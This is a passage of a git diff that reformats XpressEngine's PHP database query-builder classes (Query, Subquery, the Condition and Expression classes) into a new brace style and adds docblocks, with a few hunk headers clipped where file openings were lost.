if($table->isJoinTable() || !$simple_table_count) $from .= $table->toString($with_values) . ' '; - else $from .= ', '.$table->toString($with_values) . ' '; - - if(is_a($table, 'Subquery')) $from .= $table->getAlias() ? ' as ' . $table->getAlias() . ' ' : ' '; - - $simple_table_count++; - } - if(trim($from) == '') return ''; - return $from; - } - - /** - * Return where sql - * @param boolean $with_values - * @param boolean $with_optimization - * @return string - */ - function getWhereString($with_values = TRUE, $with_optimization = TRUE){ - $where = ''; - $condition_count = 0; - - foreach ($this->conditions as $conditionGroup) { - if ($condition_count === 0) { - $conditionGroup->setPipe(""); - } - $condition_string = $conditionGroup->toString($with_values); - $where .= $condition_string; - $condition_count++; - } - - if ($with_optimization && - (strstr($this->getOrderByString(), 'list_order') || strstr($this->getOrderByString(), 'update_order'))) { - - if ($condition_count !== 0) - $where = '(' . $where . ') '; - - foreach ($this->orderby as $order) { - $colName = $order->getColumnName(); - if (strstr($colName, 'list_order') || strstr($colName, 'update_order')) { - $opt_condition = new ConditionWithoutArgument($colName, 2100000000, 'less', 'and'); - if ($condition_count === 0) - $opt_condition->setPipe(""); - $where .= $opt_condition->toString($with_values) . ' '; - $condition_count++; - } - } - } - - return trim($where); - } - - /** - * Return groupby sql - * @return string - */ - function getGroupByString(){ - $groupBy = ''; - if($this->groups) if($this->groups[0] !== "") - $groupBy = implode(', ', $this->groups); - return $groupBy; - } - - /** - * Return orderby sql - * @return string - */ - function getOrderByString(){ - if(!$this->_orderByString){ - if(count($this->orderby) === 0) return ''; - $orderBy = ''; - foreach($this->orderby as $order){ - $orderBy .= $order->toString() .', '; - } - $orderBy = substr($orderBy, 0, -2); - $this->_orderByString = $orderBy; - } - return $this->_orderByString; - } - - function getLimit(){ - return $this->limit; - } - - /** - * Return limit sql - * @return string - */ - function getLimitString(){ - $limit = ''; - if(count($this->limit) > 0){ - $limit = ''; - $limit .= $this->limit->toString(); - } - return $limit; - } - - function getFirstTableName(){ - return $this->tables[0]->getName(); - } - - /** - * Return argument list - * @return array - */ - function getArguments(){ - if(!isset($this->arguments)){ - $this->arguments = array(); - - // Join table arguments - if(count($this->tables) > 0) - { - foreach($this->tables as $table) - { - if($table->isJoinTable() || is_a($table, 'Subquery')) - { - $args = $table->getArguments(); - if($args) $this->arguments = array_merge($this->arguments, $args); - } - } - } - - // Column arguments - if(count($this->columns) > 0){ // The if is for delete statements, all others must have columns - foreach($this->columns as $column){ - if($column->show()){ - $args = $column->getArguments(); - if($args) $this->arguments = array_merge($this->arguments, $args); - } - } - } - - // Condition arguments - if(count($this->conditions) > 0) - foreach($this->conditions as $conditionGroup){ - $args = $conditionGroup->getArguments(); - if(count($args) > 0) $this->arguments = array_merge($this->arguments, $args); - } - - // Navigation arguments - if(count($this->orderby) > 0) - foreach($this->orderby as $order){ - $args = $order->getArguments(); - if(count($args) > 0) $this->arguments = array_merge($this->arguments, $args); - } - } - return $this->arguments; + unset($this->columns); + $this->columns = $selectColumns; } } + function setColumns($columns) + { + if(!isset($columns) || count($columns) === 0) + { + $this->columns = array(new StarExpression()); + return; + } + if(!is_array($columns)) + { + $columns = array($columns); + } -?> + $this->columns = $columns; + } + + function setTables($tables) + { + if(!isset($tables) || count($tables) === 0) + { + $this->setError(TRUE); + $this->setMessage("You must provide at least one table for the query."); + return; + } + + if(!is_array($tables)) + { + $tables = array($tables); + } + + $this->tables = $tables; + } + + function setSubquery($subquery) + { + $this->subquery = $subquery; + } + + function setConditions($conditions) + { + $this->conditions = array(); + if(!isset($conditions) || count($conditions) === 0) + { + return; + } + if(!is_array($conditions)) + { + $conditions = array($conditions); + } + + foreach($conditions as $conditionGroup) + { + if($conditionGroup->show()) + { + $this->conditions[] = $conditionGroup; + } + } + } + + function setGroups($groups) + { + if(!isset($groups) || count($groups) === 0) + { + return; + } + if(!is_array($groups)) + { + $groups = array($groups); + } + + $this->groups = $groups; + } + + function setOrder($order) + { + if(!isset($order) || count($order) === 0) + { + return; + } + if(!is_array($order)) + { + $order = array($order); + } + + $this->orderby = $order; + } + + function getOrder() + { + return $this->orderby; + } + + function setLimit($limit = NULL) + { + if(!isset($limit)) + { + return; + } + $this->limit = $limit; + } + + // START Fluent interface + /** + * seleect set + * @param string|array $columns + * @return Query return Query instance + */ + function select($columns = NULL) + { + $this->action = 'select'; + $this->setColumns($columns); + return $this; + } + + /** + * from set + * @param string|array $tables + * @return Query return Query instance + */ + function from($tables) + { + $this->setTables($tables); + return $this; + } + + /** + * where set + * @param string|array $conditions + * @return Query return Query instance + */ + function where($conditions) + { + $this->setConditions($conditions); + return $this; + } + + /** + * groupBy set + * @param string|array $groups + * @return Query return Query instance + */ + function groupBy($groups) + { + $this->setGroups($groups); + return $this; + } + + /** + * orderBy set + * @param string|array $order + * @return Query return Query instance + */ + function orderBy($order) + { + $this->setOrder($order); + return $this; + } + + /** + * limit set + * @param int $limit + * @return Query return Query instance + */ + function limit($limit) + { + $this->setLimit($limit); + return $this; + } + + // END Fluent interface + + function getAction() + { + return $this->action; + } + + function getPriority() + { + return $this->priority ? 'LOW_PRIORITY' : ''; + } + + /** + * Check if current query uses the click count attribute + * For CUBRID, this statement uses the click count feature. + * For the other databases, using this attribute causes a query + * to produce both a select and an update + */ + function usesClickCount() + { + return count($this->getClickCountColumns()) > 0; + } + + function getClickCountColumns() + { + $click_count_columns = array(); + foreach($this->columns as $column) + { + if($column->show() && is_a($column, 'ClickCountExpression')) + { + $click_count_columns[] = $column; + } + } + return $click_count_columns; + } + + /** + * Return select sql + * @param boolean $with_values + * @return string + */ + function getSelectString($with_values = TRUE) + { + foreach($this->columns as $column) + { + if($column->show()) + { + if($column->isSubquery()) + { + $select[] = $column->toString($with_values) . ' as ' . $column->getAlias(); + } + else + { + $select[] = $column->getExpression($with_values); + } + } + } + return trim(implode($select, ', ')); + } + + /** + * Return update sql + * @param boolean $with_values + * @return string + */ + function getUpdateString($with_values = TRUE) + { + foreach($this->columns as $column) + { + if($column->show()) + { + $update[] = $column->getExpression($with_values); + } + } + return trim(implode($update, ', ')); + } + + /** + * Return insert sql + * @param boolean $with_values + * @return string + */ + function getInsertString($with_values = TRUE) + { + $columnsList = ''; + // means we have insert-select + if($this->subquery) + { + foreach($this->columns as $column) + { + $columnsList .= $column->getColumnName() . ', '; + } + $columnsList = substr($columnsList, 0, -2); + $selectStatement = $this->subquery->toString($with_values); + $selectStatement = substr($selectStatement, 1, -1); + return "($columnsList) \n $selectStatement"; + } + + $valuesList = ''; + foreach($this->columns as $column) + { + if($column->show()) + { + $columnsList .= $column->getColumnName() . ', '; + $valuesList .= $column->getValue($with_values) . ', '; + } + } + $columnsList = substr($columnsList, 0, -2); + $valuesList = substr($valuesList, 0, -2); + + return "($columnsList) \n VALUES ($valuesList)"; + } + + function getTables() + { + return $this->tables; + } + + /** + * from table_a + * from table_a inner join table_b on x=y + * from (select * from table a) as x + * from (select * from table t) as x inner join table y on y.x + * @param boolean $with_values + * @return string + */ + function getFromString($with_values = TRUE) + { + $from = ''; + $simple_table_count = 0; + foreach($this->tables as $table) + { + if($table->isJoinTable() || !$simple_table_count) + { + $from .= $table->toString($with_values) . ' '; + } + else + { + $from .= ', ' . $table->toString($with_values) . ' '; + } + + if(is_a($table, 'Subquery')) + { + $from .= $table->getAlias() ? ' as ' . $table->getAlias() . ' ' : ' '; + } + + $simple_table_count++; + } + if(trim($from) == '') + { + return ''; + } + return $from; + } + + /** + * Return where sql + * @param boolean $with_values + * @param boolean $with_optimization + * @return string + */ + function getWhereString($with_values = TRUE, $with_optimization = TRUE) + { + $where = ''; + $condition_count = 0; + + foreach($this->conditions as $conditionGroup) + { + if($condition_count === 0) + { + $conditionGroup->setPipe(""); + } + $condition_string = $conditionGroup->toString($with_values); + $where .= $condition_string; + $condition_count++; + } + + if($with_optimization && + (strstr($this->getOrderByString(), 'list_order') || strstr($this->getOrderByString(), 'update_order'))) + { + + if($condition_count !== 0) + { + $where = '(' . $where . ') '; + } + + foreach($this->orderby as $order) + { + $colName = $order->getColumnName(); + if(strstr($colName, 'list_order') || strstr($colName, 'update_order')) + { + $opt_condition = new ConditionWithoutArgument($colName, 2100000000, 'less', 'and'); + if($condition_count === 0) + { + $opt_condition->setPipe(""); + } + $where .= $opt_condition->toString($with_values) . ' '; + $condition_count++; + } + } + } + + return trim($where); + } + + /** + * Return groupby sql + * @return string + */ + function getGroupByString() + { + $groupBy = ''; + if($this->groups) + { + if($this->groups[0] !== "") + { + $groupBy = implode(', ', $this->groups); + } + } + return $groupBy; + } + + /** + * Return orderby sql + * @return string + */ + function getOrderByString() + { + if(!$this->_orderByString) + { + if(count($this->orderby) === 0) + { + return ''; + } + $orderBy = ''; + foreach($this->orderby as $order) + { + $orderBy .= $order->toString() . ', '; + } + $orderBy = substr($orderBy, 0, -2); + $this->_orderByString = $orderBy; + } + return $this->_orderByString; + } + + function getLimit() + { + return $this->limit; + } + + /** + * Return limit sql + * @return string + */ + function getLimitString() + { + $limit = ''; + if(count($this->limit) > 0) + { + $limit = ''; + $limit .= $this->limit->toString(); + } + return $limit; + } + + function getFirstTableName() + { + return $this->tables[0]->getName(); + } + + /** + * Return argument list + * @return array + */ + function getArguments() + { + if(!isset($this->arguments)) + { + $this->arguments = array(); + + // Join table arguments + if(count($this->tables) > 0) + { + foreach($this->tables as $table) + { + if($table->isJoinTable() || is_a($table, 'Subquery')) + { + $args = $table->getArguments(); + if($args) + { + $this->arguments = array_merge($this->arguments, $args); + } + } + } + } + + // Column arguments + // The if is for delete statements, all others must have columns + if(count($this->columns) > 0) + { + foreach($this->columns as $column) + { + if($column->show()) + { + $args = $column->getArguments(); + if($args) + { + $this->arguments = array_merge($this->arguments, $args); + } + } + } + } + + // Condition arguments + if(count($this->conditions) > 0) + { + foreach($this->conditions as $conditionGroup) + { + $args = $conditionGroup->getArguments(); + if(count($args) > 0) + { + $this->arguments = array_merge($this->arguments, $args); + } + } + } + + // Navigation arguments + if(count($this->orderby) > 0) + { + foreach($this->orderby as $order) + { + $args = $order->getArguments(); + if(count($args) > 0) + { + $this->arguments = array_merge($this->arguments, $args); + } + } + } + } + return $this->arguments; + } + +} +/* End of file Query.class.php */ +/* Location: ./classes/db/queryparts/Query.class.php */ diff --git a/classes/db/queryparts/Subquery.class.php b/classes/db/queryparts/Subquery.class.php index 922b7f0b8..53c3b7bb0 100644 --- a/classes/db/queryparts/Subquery.class.php +++ b/classes/db/queryparts/Subquery.class.php @@ -1,65 +1,79 @@ alias = $alias; + /** + * join type + * @var string + */ + var $join_type; - $this->queryID = null; - $this->action = "select"; + /** + * constructor + * @param string $alias + * @param string|array $columns + * @param string|array $tables + * @param string|array $conditions + * @param string|array $groups + * @param string|array $orderby + * @param int $limit + * @param string $join_type + * @return void + */ + function Subquery($alias, $columns, $tables, $conditions, $groups, $orderby, $limit, $join_type = null) + { + $this->alias = $alias; - $this->columns = $columns; - $this->tables = $tables; - $this->conditions = $conditions; - $this->groups = $groups; - $this->orderby = $orderby; - $this->limit = $limit; - $this->join_type = $join_type; - } + $this->queryID = null; + $this->action = "select"; - function getAlias(){ - return $this->alias; - } - - function isJoinTable(){ - if($this->join_type) return true; - return false; - } - - function toString($with_values = true){ - $oDB = &DB::getInstance(); - - return '(' .$oDB->getSelectSql($this, $with_values) . ')'; - - } - - function isSubquery(){ - return true; - } + $this->columns = $columns; + $this->tables = $tables; + $this->conditions = $conditions; + $this->groups = $groups; + $this->orderby = $orderby; + $this->limit = $limit; + $this->join_type = $join_type; } + + function getAlias() + { + return $this->alias; + } + + function isJoinTable() + { + if($this->join_type) + { + return true; + } + return false; + } + + function toString($with_values = true) + { + $oDB = &DB::getInstance(); + + return '(' . $oDB->getSelectSql($this, $with_values) . ')'; + } + + function isSubquery() + { + return true; + } + +} +/* End of file Subquery.class.php */ +/* Location: ./classes/db/queryparts/Subquery.class.php */ diff --git a/classes/db/queryparts/condition/Condition.class.php b/classes/db/queryparts/condition/Condition.class.php index 4e4a2c634..211f8d59d 100644 --- a/classes/db/queryparts/condition/Condition.class.php +++ b/classes/db/queryparts/condition/Condition.class.php @@ -1,223 +1,257 @@ column_name = $column_name; - $this->argument = $argument; - $this->operation = $operation; - $this->pipe = $pipe; - - } - - function getArgument(){ - return null; - } - - /** - * value to string - * @param boolean $withValue - * @return string - */ - function toString($withValue = true){ - if (!isset($this->_value_to_string)) { - if (!$this->show()) - { - $this->_value_to_string = ''; - } - else if ($withValue) - { - $this->_value_to_string = $this->toStringWithValue(); - } - else - { - $this->_value_to_string = $this->toStringWithoutValue(); - } - } - return $this->_value_to_string; - } - - /** - * change string without value - * @return string - */ - function toStringWithoutValue(){ - return $this->pipe . ' ' . $this->getConditionPart($this->_value); - } - - /** - * change string with value - * @return string - */ - function toStringWithValue(){ - return $this->pipe . ' ' . $this->getConditionPart($this->_value); - } - - function setPipe($pipe){ - $this->pipe = $pipe; - } - - /** - * @return boolean - */ - function show(){ - if(!isset($this->_show)){ - if(is_array($this->_value) && count($this->_value) === 1 && $this->_value[0] === '') { - $this->_show = false; - } - else { - $this->_show = true; - switch($this->operation) { - case 'equal' : - case 'more' : - case 'excess' : - case 'less' : - case 'below' : - case 'like_tail' : - case 'like_prefix' : - case 'like' : - case 'notlike_tail' : - case 'notlike_prefix' : - case 'notlike' : - case 'in' : - case 'notin' : - case 'not_in' : - case 'and': - case 'or': - case 'xor': - case 'not': - case 'notequal' : - // if variable is not set or is not string or number, return - if(!isset($this->_value)) { $this->_show = false; break;} - if($this->_value === '') { $this->_show = false; break; } - $tmpArray = array('string'=>1, 'integer'=>1); - if(!isset($tmpArray[gettype($this->_value)])) - { - $this->_show = false; break; - } - break; - case 'between' : - if(!is_array($this->_value)) { $this->_show = false; break;} - if(count($this->_value)!=2) {$this->_show = false; break;} - case 'null': - case 'notnull': - break; - default: - // If operation is not one of the above, means the condition is invalid - $this->_show = false; - } - } - } - return $this->_show; - } - - /** - * Return condition string - * @param int|string|array $value - * @return string - */ - function getConditionPart($value) { - $name = $this->column_name; - $operation = $this->operation; - - switch($operation) { - case 'equal' : - return $name.' = '.$value; - break; - case 'more' : - return $name.' >= '.$value; - break; - case 'excess' : - return $name.' > '.$value; - break; - case 'less' : - return $name.' <= '.$value; - break; - case 'below' : - return $name.' < '.$value; - break; - case 'like_tail' : - case 'like_prefix' : - case 'like' : - if(defined('__CUBRID_VERSION__') - && __CUBRID_VERSION__ >= '8.4.1') - return $name.' rlike '.$value; - else - return $name.' like '.$value; - break; - case 'notlike_tail' : - case 'notlike_prefix' : - case 'notlike' : - return $name.' not like '.$value; - break; - case 'in' : - return $name.' in '.$value; - break; - case 'notin' : - case 'not_in' : - return $name.' not in '.$value; - break; - case 'notequal' : - return $name.' <> '.$value; - break; - case 'notnull' : - return $name.' is not null'; - break; - case 'null' : - return $name.' is null'; - break; - case 'and' : - return $name.' & '.$value; - break; - case 'or' : - return $name.' | '.$value; - break; - case 'xor' : - return $name.' ^ '.$value; - break; - case 'not' : - return $name.' ~ '.$value; - break; - case 'between' : - return $name.' between ' . $value[0] . ' and ' . $value[1]; - break; - } - } + /** + * constructor + * @param string $column_name + * @param mixed $argument + * @param string $operation + * @param string $pipe + * @return void + */ + function Condition($column_name, $argument, $operation, $pipe) + { + $this->column_name = $column_name; + $this->argument = $argument; + $this->operation = $operation; + $this->pipe = $pipe; } -?> + function getArgument() + { + return null; + } + + /** + * value to string + * @param boolean $withValue + * @return string + */ + function toString($withValue = true) + { + if(!isset($this->_value_to_string)) + { + if(!$this->show()) + { + $this->_value_to_string = ''; + } + else if($withValue) + { + $this->_value_to_string = $this->toStringWithValue(); + } + else + { + $this->_value_to_string = $this->toStringWithoutValue(); + } + } + return $this->_value_to_string; + } + + /** + * change string without value + * @return string + */ + function toStringWithoutValue() + { + return $this->pipe . ' ' . $this->getConditionPart($this->_value); + } + + /** + * change string with value + * @return string + */ + function toStringWithValue() + { + return $this->pipe . ' ' . $this->getConditionPart($this->_value); + } + + function setPipe($pipe) + { + $this->pipe = $pipe; + } + + /** + * @return boolean + */ + function show() + { + if(!isset($this->_show)) + { + if(is_array($this->_value) && count($this->_value) === 1 && $this->_value[0] === '') + { + $this->_show = false; + } + else + { + $this->_show = true; + switch($this->operation) + { + case 'equal' : + case 'more' : + case 'excess' : + case 'less' : + case 'below' : + case 'like_tail' : + case 'like_prefix' : + case 'like' : + case 'notlike_tail' : + case 'notlike_prefix' : + case 'notlike' : + case 'in' : + case 'notin' : + case 'not_in' : + case 'and': + case 'or': + case 'xor': + case 'not': + case 'notequal' : + // if variable is not set or is not string or number, return + if(!isset($this->_value)) + { + $this->_show = false; + break; + } + if($this->_value === '') + { + $this->_show = false; + break; + } + $tmpArray = array('string' => 1, 'integer' => 1); + if(!isset($tmpArray[gettype($this->_value)])) + { + $this->_show = false; + break; + } + break; + case 'between' : + if(!is_array($this->_value)) + { + $this->_show = false; + break; + } + if(count($this->_value) != 2) + { + $this->_show = false; + break; + } + case 'null': + case 'notnull': + break; + default: + // If operation is not one of the above, means the condition is invalid + $this->_show = false; + } + } + } + return $this->_show; + } + + /** + * Return condition string + * @param int|string|array $value + * @return string + */ + function getConditionPart($value) + { + $name = $this->column_name; + $operation = $this->operation; + + switch($operation) + { + case 'equal' : + return $name . ' = ' . $value; + break; + case 'more' : + return $name . ' >= ' . $value; + break; + case 'excess' : + return $name . ' > ' . $value; + break; + case 'less' : + return $name . ' <= ' . $value; + break; + case 'below' : + return $name . ' < ' . $value; + break; + case 'like_tail' : + case 'like_prefix' : + case 'like' : + if(defined('__CUBRID_VERSION__') + && __CUBRID_VERSION__ >= '8.4.1') + return $name . ' rlike ' . $value; + else + return $name . ' like ' . $value; + break; + case 'notlike_tail' : + case 'notlike_prefix' : + case 'notlike' : + return $name . ' not like ' . $value; + break; + case 'in' : + return $name . ' in ' . $value; + break; + case 'notin' : + case 'not_in' : + return $name . ' not in ' . $value; + break; + case 'notequal' : + return $name . ' <> ' . $value; + break; + case 'notnull' : + return $name . ' is not null'; + break; + case 'null' : + return $name . ' is null'; + break; + case 'and' : + return $name . ' & ' . $value; + break; + case 'or' : + return $name . ' | ' . $value; + break; + case 'xor' : + return $name . ' ^ ' . $value; + break; + case 'not' : + return $name . ' ~ ' . $value; + break; + case 'between' : + return $name . ' between ' . $value[0] . ' and ' . $value[1]; + break; + } + } + +} +/* End of file Condition.class.php */ +/* Location: ./classes/db/queryparts/condition/Condition.class.php */ diff --git a/classes/db/queryparts/condition/ConditionGroup.class.php b/classes/db/queryparts/condition/ConditionGroup.class.php index daa90ad0a..1a0962dde 100644 --- a/classes/db/queryparts/condition/ConditionGroup.class.php +++ b/classes/db/queryparts/condition/ConditionGroup.class.php @@ -1,87 +1,119 @@ conditions = array(); - foreach($conditions as $condition){ - if($condition->show()) - $this->conditions[] = $condition; - } - if(count($this->conditions) === 0) $this->_show = false; - else $this->_show = true; - - $this->pipe = $pipe; + /** + * constructor + * @param array $conditions + * @param string $pipe + * @return void + */ + function ConditionGroup($conditions, $pipe = "") + { + $this->conditions = array(); + foreach($conditions as $condition) + { + if($condition->show()) + { + $this->conditions[] = $condition; + } + } + if(count($this->conditions) === 0) + { + $this->_show = false; + } + else + { + $this->_show = true; } - function show(){ - return $this->_show; - } + $this->pipe = $pipe; + } - function setPipe($pipe){ - if($this->pipe !== $pipe) $this->_group = null; - $this->pipe = $pipe; - } + function show() + { + return $this->_show; + } - /** - * value to string - * @param boolean $with_value - * @return string - */ - function toString($with_value = true){ - if(!isset($this->_group)){ + function setPipe($pipe) + { + if($this->pipe !== $pipe) + { + $this->_group = null; + } + $this->pipe = $pipe; + } + + /** + * value to string + * @param boolean $with_value + * @return string + */ + function toString($with_value = true) + { + if(!isset($this->_group)) + { $cond_indx = 0; - $group = ''; + $group = ''; - foreach($this->conditions as $condition){ - if($cond_indx === 0) $condition->setPipe(""); - $group .= $condition->toString($with_value) . ' '; - $cond_indx++; + foreach($this->conditions as $condition) + { + if($cond_indx === 0) + { + $condition->setPipe(""); + } + $group .= $condition->toString($with_value) . ' '; + $cond_indx++; } - if($this->pipe !== "" && trim($group) !== ''){ - $group = $this->pipe . ' (' . $group . ')'; - } + if($this->pipe !== "" && trim($group) !== '') + { + $group = $this->pipe . ' (' . $group . ')'; + } - $this->_group = $group; - } - return $this->_group; - } - - /** - * return argument list - * @return array - */ - function getArguments(){ - $args = array(); - foreach($this->conditions as $condition){ - $arg = $condition->getArgument(); - if($arg) $args[] = $arg; - } - return $args; + $this->_group = $group; } + return $this->_group; } -?> + + /** + * return argument list + * @return array + */ + function getArguments() + { + $args = array(); + foreach($this->conditions as $condition) + { + $arg = $condition->getArgument(); + if($arg) + { + $args[] = $arg; + } + } + return $args; + } + +} +/* End of file ConditionGroup.class.php */ +/* Location: ./classes/db/queryparts/condition/ConditionGroup.class.php */ diff --git a/classes/db/queryparts/condition/ConditionSubquery.class.php b/classes/db/queryparts/condition/ConditionSubquery.class.php index 6d359914a..b286db23b 100644 --- a/classes/db/queryparts/condition/ConditionSubquery.class.php +++ b/classes/db/queryparts/condition/ConditionSubquery.class.php @@ -1,23 +1,27 @@ _value = $this->argument->toString(); - } +/** + * @author NHN (developers@xpressengine.com) + * @package /classes/db/queryparts/condition + * @version 0.1 + */ +class ConditionSubquery extends Condition +{ + + /** + * constructor + * @param string $column_name + * @param mixed $argument + * @param string $operation + * @param string $pipe + * @return void + */ + function ConditionSubquery($column_name, $argument, $operation, $pipe = "") + { + parent::Condition($column_name, $argument, $operation, $pipe); + $this->_value = $this->argument->toString(); } -?> +} +/* End of file ConditionSubquery.class.php */ +/* Location: ./classes/db/queryparts/condition/ConditionSubquery.class.php */ diff --git a/classes/db/queryparts/condition/ConditionWithArgument.class.php b/classes/db/queryparts/condition/ConditionWithArgument.class.php index 42bc86cd4..08366d64e 100644 --- a/classes/db/queryparts/condition/ConditionWithArgument.class.php +++ b/classes/db/queryparts/condition/ConditionWithArgument.class.php @@ -1,71 +1,98 @@ _show = false; return; } - parent::Condition($column_name, $argument, $operation, $pipe); - $this->_value = $argument->getValue(); - } - - function getArgument(){ - if(!$this->show()) return; - return $this->argument; - } - - /** - * change string without value - * @return string - */ - function toStringWithoutValue(){ - $value = $this->argument->getUnescapedValue(); - - if(is_array($value)){ - $q = ''; - foreach ($value as $v) $q .= '?,'; - if($q !== '') $q = substr($q, 0, -1); - $q = '(' . $q . ')'; - } - else - { - // Prepared statements: column names should not be sent as query arguments, but instead concatenated to query string - if($this->argument->isColumnName()) - { - $q = $value; - } - else - { - $q = '?'; - } - } - return $this->pipe . ' ' . $this->getConditionPart($q); - } - - /** - * @return boolean - */ - function show(){ - if(!isset($this->_show)){ - if(!$this->argument->isValid()) $this->_show = false; - if($this->_value === '\'\'') $this->_show = false; - if(!isset($this->_show)){ - return parent::show(); - } - } - return $this->_show; + function ConditionWithArgument($column_name, $argument, $operation, $pipe = "") + { + if($argument === null) + { + $this->_show = false; + return; } + parent::Condition($column_name, $argument, $operation, $pipe); + $this->_value = $argument->getValue(); } -?> + function getArgument() + { + if(!$this->show()) + return; + return $this->argument; + } + + /** + * change string without value + * @return string + */ + function toStringWithoutValue() + { + $value = $this->argument->getUnescapedValue(); + + if(is_array($value)) + { + $q = ''; + foreach($value as $v) + { + $q .= '?,'; + } + if($q !== '') + { + $q = substr($q, 0, -1); + } + $q = '(' . $q . ')'; + } + else + { + // Prepared statements: column names should not be sent as query arguments, but instead concatenated to query string + if($this->argument->isColumnName()) + { + $q = $value; + } + else + { + $q = '?'; + } + } + return $this->pipe . ' ' . $this->getConditionPart($q); + } + + /** + * @return boolean + */ + function show() + { + if(!isset($this->_show)) + { + if(!$this->argument->isValid()) + { + $this->_show = false; + } + if($this->_value === '\'\'') + { + $this->_show = false; + } + if(!isset($this->_show)) + { + return parent::show(); + } + } + return $this->_show; + } + +} +/* End of file ConditionWithArgument.class.php */ +/* Location: ./classes/db/queryparts/condition/ConditionWithArgument.class.php */ diff --git a/classes/db/queryparts/condition/ConditionWithoutArgument.class.php b/classes/db/queryparts/condition/ConditionWithoutArgument.class.php index 688b3e2df..a028f5b67 100644 --- a/classes/db/queryparts/condition/ConditionWithoutArgument.class.php +++ b/classes/db/queryparts/condition/ConditionWithoutArgument.class.php @@ -1,29 +1,39 @@ 1, 'notin'=>1, 'not_in'=>1); - if(isset($tmpArray[$operation])){ - if(is_array($argument)) $argument = implode($argument, ','); - $this->_value = '('. $argument .')'; - } - else - $this->_value = $argument; +/** + * @author NHN (developers@xpressengine.com) + * @package /classes/db/queryparts/condition + * @version 0.1 + */ +class ConditionWithoutArgument extends Condition +{ + + /** + * constructor + * @param string $column_name + * @param mixed $argument + * @param string $operation + * @param string $pipe + * @return void + */ + function ConditionWithoutArgument($column_name, $argument, $operation, $pipe = "") + { + parent::Condition($column_name, $argument, $operation, $pipe); + $tmpArray = array('in' => 1, 'notin' => 1, 'not_in' => 1); + if(isset($tmpArray[$operation])) + { + if(is_array($argument)) + { + $argument = implode($argument, ','); + } + $this->_value = '(' . $argument . ')'; + } + else + { + $this->_value = $argument; } } -?> +} +/* End of file ConditionWithoutArgument.class.php */ +/* Location: ./classes/db/queryparts/condition/ConditionWithoutArgument.class.php */ diff --git a/classes/db/queryparts/expression/ClickCountExpression.class.php b/classes/db/queryparts/expression/ClickCountExpression.class.php index 36b123bc8..50f48da5f 100644 --- a/classes/db/queryparts/expression/ClickCountExpression.class.php +++ b/classes/db/queryparts/expression/ClickCountExpression.class.php @@ -1,53 +1,61 @@ -click_count = false; - } - $this->click_count = $click_count; + var $click_count; + + /** + * constructor + * @param string $column_name + * @param string $alias + * @param bool $click_count + * @return void + */ + function ClickCountExpression($column_name, $alias = NULL, $click_count = false) + { + parent::SelectExpression($column_name, $alias); + + if(!is_bool($click_count)) + { + // error_log("Click_count value for $column_name was not boolean", 0); + $this->click_count = false; } - - function show() { - return $this->click_count; + $this->click_count = $click_count; + } + + function show() + { + return $this->click_count; + } + + /** + * Return column expression, ex) column = column + 1 + * @return string + */ + function getExpression() + { + $db_type = Context::getDBType(); + if($db_type == 'cubrid') + { + return "INCR($this->column_name)"; } - - /** - * Return column expression, ex) column = column + 1 - * @return string - */ - function getExpression(){ - $db_type = Context::getDBType(); - if($db_type == 'cubrid') - { - return "INCR($this->column_name)"; - } - else - { - return "$this->column_name"; - } + else + { + return "$this->column_name"; } } -?> +} +/* End of file ClickCountExpression.class.php */ +/* Location: ./classes/db/queryparts/expression/ClickCountExpression.class.php */ diff --git a/classes/db/queryparts/expression/DeleteExpression.class.php b/classes/db/queryparts/expression/DeleteExpression.class.php index d304b1e1e..c86a4d4fb 100644 --- a/classes/db/queryparts/expression/DeleteExpression.class.php +++ b/classes/db/queryparts/expression/DeleteExpression.class.php @@ -1,50 +1,62 @@ -value = $value; - } - - /** - * Return column expression, ex) column = value - * @return string - */ - function getExpression(){ - return "$this->column_name = $this->value"; - } - - function getValue(){ - // TODO Escape value according to column type instead of variable type - if(!is_numeric($this->value)) return "'".$this->value."'"; - return $this->value; - } - - function show(){ - if(!$this->value) return false; - return true; - } +/** + * DeleteExpression + * + * @author Arnia Software + * @package /classes/db/queryparts/expression + * @version 0.1 + * @todo Fix this class + */ +class DeleteExpression extends Expression +{ + + /** + * column value + * @var mixed + */ + var $value; + + /** + * constructor + * @param string $column_name + * @param mixed $value + * @return void + */ + function DeleteExpression($column_name, $value) + { + parent::Expression($column_name); + $this->value = $value; } + /** + * Return column expression, ex) column = value + * @return string + */ + function getExpression() + { + return "$this->column_name = $this->value"; + } -?> + function getValue() + { + // TODO Escape value according to column type instead of variable type + if(!is_numeric($this->value)) + { + return "'" . $this->value . "'"; + } + return $this->value; + } + + function show() + { + if(!$this->value) + { + return false; + } + return true; + } + +} +/* End of file DeleteExpression.class.php */ +/* Location: ./classes/db/queryparts/expression/DeleteExpression.class.php */ diff --git a/classes/db/queryparts/expression/Expression.class.php b/classes/db/queryparts/expression/Expression.class.php index 09868c9cf..463f107ed 100644 --- a/classes/db/queryparts/expression/Expression.class.php +++ b/classes/db/queryparts/expression/Expression.class.php @@ -1,44 +1,55 @@ column_name = $column_name; - } - - function getColumnName(){ - return $this->column_name; - } - - function show() { - return false; - } - - /** - * Return column expression, ex) column as alias - * @return string - */ - function getExpression() { - } + var $column_name; + + /** + * constructor + * @param string $column_name + * @return void + */ + function Expression($column_name) + { + $this->column_name = $column_name; } + + function getColumnName() + { + return $this->column_name; + } + + function show() + { + return false; + } + + /** + * Return column expression, ex) column as alias + * @return string + */ + function getExpression() + { + + } + +} +/* End of file Expression.class.php */ +/* Location: ./classes/db/queryparts/expression/Expression.class.php */ diff --git a/classes/db/queryparts/expression/InsertExpression.class.php b/classes/db/queryparts/expression/InsertExpression.class.php index 3cf8d81ee..efd0e58f8 100644 --- a/classes/db/queryparts/expression/InsertExpression.class.php +++ b/classes/db/queryparts/expression/InsertExpression.class.php @@ -1,53 +1,73 @@ argument = $argument; - } + /** + * constructor + * @param string $column_name + * @param object $argument + * @return void + */ + function InsertExpression($column_name, $argument) + { + parent::Expression($column_name); + $this->argument = $argument; + } - function getValue($with_values = true){ - if($with_values) - return $this->argument->getValue(); - return '?'; - } - - function show(){ - if(!$this->argument) return false; - $value = $this->argument->getValue(); - if(!isset($value)) return false; - return true; - } - - function getArgument(){ - return $this->argument; - } - - function getArguments() + function getValue($with_values = true) + { + if($with_values) { - if ($this->argument) - return array($this->argument); - else - return array(); + return $this->argument->getValue(); + } + return '?'; + } + + function show() + { + if(!$this->argument) + { + return false; + } + $value = $this->argument->getValue(); + if(!isset($value)) + { + return false; + } + return true; + } + + function getArgument() + { + return $this->argument; + } + + function getArguments() + { + if($this->argument) + { + return array($this->argument); + } + else + { + return array(); } } -?> +} +/* End of file 